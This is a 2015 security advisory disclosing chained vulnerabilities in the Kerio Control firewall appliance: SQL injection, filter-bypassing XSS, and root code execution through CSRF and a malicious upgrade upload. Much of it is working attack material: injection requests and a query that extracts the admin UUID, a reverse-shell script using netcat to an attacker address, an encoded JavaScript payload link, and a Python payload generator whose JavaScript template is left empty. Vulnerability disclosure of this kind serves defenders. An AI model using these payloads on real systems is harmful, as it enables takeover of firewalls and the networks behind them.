IntelliSec Security Advisory ============================================================================================== Title: Multiple Vulnerabilities in Kerio Control (Virtual Appliance) Vulnerabilities: SQL Injection, Remote Code Execution through CSRF Product: Kerio Control Homepage: http://www.kerio.com Affected Version: <= 8.6.1 Fixed Version: 8.6.2 (partially fixed) Impact: critical Date: 2015-10-12 Author: Raschin Tavakoli | IntelliSec Research http://www.intellisec.at research@intellisec.at Links: https://youtu.be/EzTI2WlGHb4 =============================================================================================== Vendor description: =================== Kerio Control is a unified threat management firewall developed by Kerio Technologies. It features intrusion prevention, content filtering, activity reporting, bandwidth management, and virtual private networking. Kerio Control runs Linux, providing network perimeter defense for small to medium organizations. Vulnerabilities =============== 1. XSS with Anti-XSS-Filter bypass (nonauth area) 2. SQL Injection (non-admin area) 3. Remote Code Execution (admin area) By chaining the vulnerabilities together in combination with user interaction, an attacker may gain full control over the firewall and the underlying network. Attack Scenario =============== The first attack could be to trick non-admin users to follow a malicious link in order to trigger a CSRF exploit via the /nonauth/certificate.php script. The script may exploit the SQL Injection flaw in reports.php for example. Once able to query the database, sensitive data of the users can be transmitted back to the attacker. Information of interest could be for example the traffic usage of admin users and their top-visited webpages. In the next attack, this information may be used to embed another CSRF exploit into one of the top-visited webpages. If the attacker succeeds and the exploit gets triggered by a visiting admin, arbitrary remote code execution will be gained. =============================================================================================== 1. SQL Injection: =============================================================================================== Short Description: ================== Kerio Control suffers from an SQL Injection flaw in the report.php script. Detailed Description: ===================== It is not necessary to use blind sql injection, as the output will be rendered into an image file. As the text in the image file has a fixed size, multiple union selects can be combined to render out multiple images containing the result text of the query. In order to exploit the issue, a user has to be authenticated. For non-admin users, webreports have to be enabled. This issue is fixed in 8.6.2 Proof of Concept: ================= GET /report.php?id=1'+OR+'1'%3d'1'%3b+-- HTTP/1.1 Host: testbox:4081 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: SESSION_CONTROL_WEBIFACE=c0fa6c207d812da1fce3e2ff2bc2e609948988a041f5a23adb64064a42010e6b; TOKEN_CONTROL_WEBIFACE For example, to read out the admin's internal UUID number, the following union based sql injection can be used: https://testbox:4081/report.php?start=16703, 0, 0) UNION SELECT 'x', 'Admin UUID: ' || substring(cast( (select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256)) from 1 for 14), REQUESTS FROM GET_ALL_TOP_WEBS_D(16703, 1) UNION SELECT 'y', substring(cast( (select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256)) from 15 for 40), '7' FROM GET_ALL_TOP_WEBS_D(16703, 1);+--+&end=16703&id=0'+OR+USERNAME='Admin';+--+ ======================= 2. Cross Site Scripting ======================= The server parameter in the nonauth/certificate.php script suffers from an non persistent XSS vulnerability. The payload needs to be base64 encoded and will be decoded at runtime. That way it bypasses all Anti-XSS Filters of modern browsers, which increases the severity of this issue significantly. The issue has been tested with OS X Chrome Version 45.0.2454.101, OS X Safari Version 9.0 (10601.1.56.2), Linux Chromium Version 37.0.2062.120 and Linux Iceweasel 31.8.0 This issue is fixed in 8.6.2 =============================================================================================== 3. Remote Command Execution via File Upload =============================================================================================== Short Description: ================== Kerio Control suffers from a RCE vulnerability in the upgrade function in the admin interface. A malicious ssh script can be uploaded and executed with root privileges. Detail: ======= The upgrade feature in the admin interface can be used to upload arbitrary files by simply changing a tar file to the extension .img. If a tar file is created which contains a upgrade.sh shell script, this script will be executed with root privileges. Kerio did not provide a fix for the upgrade functionality yet. ======================================== 4. Remote Command Execution through CSRF ======================================== The Kerio admin interface does not provide a functionality to execute shell commands on the underlying Linux system nor a possibility to enable ssh. SSH is disabled by default and can only be enabled through the Kerio Console Application. By combining the RCE with an CSRF attack, this vulnerability becomes a serious issue. Proof of Concept: ================= Create a Bash Script: --------------------- # cat upgrade.sh # #!/bin/bash # nc 10.0.0.2 5555 -e /bin/bash & # tar czf upgrade.tar.gz * # mv upgrade.tar.gz upgrade.img Open a netcat listener on the attacker's machine 10.0.0.2: ---------------------------------------------------------- # nc -lvp 5555 Generate Javascript Payload (File Upload and Execution): -------------------------------------------------------- Base64 encode and craft malicous link: https://testbox:4081/nonauth/certificate.php?server=PHNjcmlwdD4KdXJsPSdodHRwOi8vMTAuMC4wLjE6NDA4MS9hZG1pbic7Cl90b2tlbj0iIjsKX2Zp bGU9IiI7Cl9pZCA9ICIiOwpmdW5jdGlvbiByZXFMaXN0ZW5lciAoKSB7CglvYmogPSBKU09OLnBh cnNlKHRoaXMucmVzcG9uc2VUZXh0KTsKCWZpbGUgPSBvYmoucmVzdWx0LmZpbGVVcGxvYWQubmFt ZTsKCWlkID0gb2JqLnJlc3VsdC5maWxlVXBsb2FkLmlkOwoJY3JlYXRlSUZyYW1lKGZpbGUsIGlk KTsKfQpmdW5jdGlvbiBjcmVhdGVJRnJhbWUoZmlsZSwgaWQpIHsKCWlmcmFtZT1kb2N1bWVudC5j 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small python script that can be used to generate the payload: #!/usr/bin/python # ====================================================================== # # Title: Remote Command Execution through CSRF - Payload Generator # # Author: Raschin Tavakoli - IntelliSec GmbH # # Date: 12.10.2015 # # # # Description: # # This python3 script generates the payload to exploit the RCE via CSRF # # vulnerability in the Kerio Control Virtual Appliance. # # # # First a shell script will be packed as an Kerio upgrade.img file. Then # # a Javascript will be generated which uploads the file via the Kerio # # upgrade function. The payload will then be base64 encoded and can be # # injected into the server parameter of the # # nonauth/certificate.php script (). # # # # Example Usage: # # csrf-gen-payload.py -t https://10.0.0.8:4081/admin -l 10.0.0.7 -p 5555 # # ====================================================================== # import os import shutil import base64 import argparse import subprocess from optparse import OptionParser import codecs import sys tmpdir = "/tmp/kerio_upgrade" def usage(): print ("\nUsage: csrf-gen-payload -f -t \n") print("Example: csrf-gen-payload.py -f upgrade.sh -t https://10.0.0.8:4081/admin \n") exit() def main(): parser = OptionParser() parser.add_option("-f", "--file", dest="file", help="the bash file for remote execution", metavar="TARGET") parser.add_option("-t", "--target", dest="target_url", help="specify the target url", metavar="TARGET") (options, args) = parser.parse_args() file = options.file target_url = options.target_url if not target_url or not file: usage() # ====================================================================== # # Create upgrade.img file # # ====================================================================== # orgdir = os.path.dirname(os.path.realpath(__file__)) try: if os.path.exists(tmpdir): shutil.rmtree(tmpdir) except: print("Cannot clean " + tmpdir) os.mkdir(tmpdir) shutil.copy(file, tmpdir + os.path.sep + "upgrade.sh") os.chdir(tmpdir) os.system("tar czf upgrade.tar.gz *") src = os.path.join(tmpdir, "upgrade.tar.gz") dst = os.path.join(tmpdir, "upgrade.img") os.rename(src, dst) f = open('upgrade.img', 'rb',) bin_data = f.read() f.close() hexdata = "".join("\\x{:02x}".format(c) for c in bin_data) # ====================================================================== # # Generate Javascript Payload # # ====================================================================== # script = ('') print(script) os.chdir(orgdir) shutil.rmtree(tmpdir) if __name__ == '__main__': main()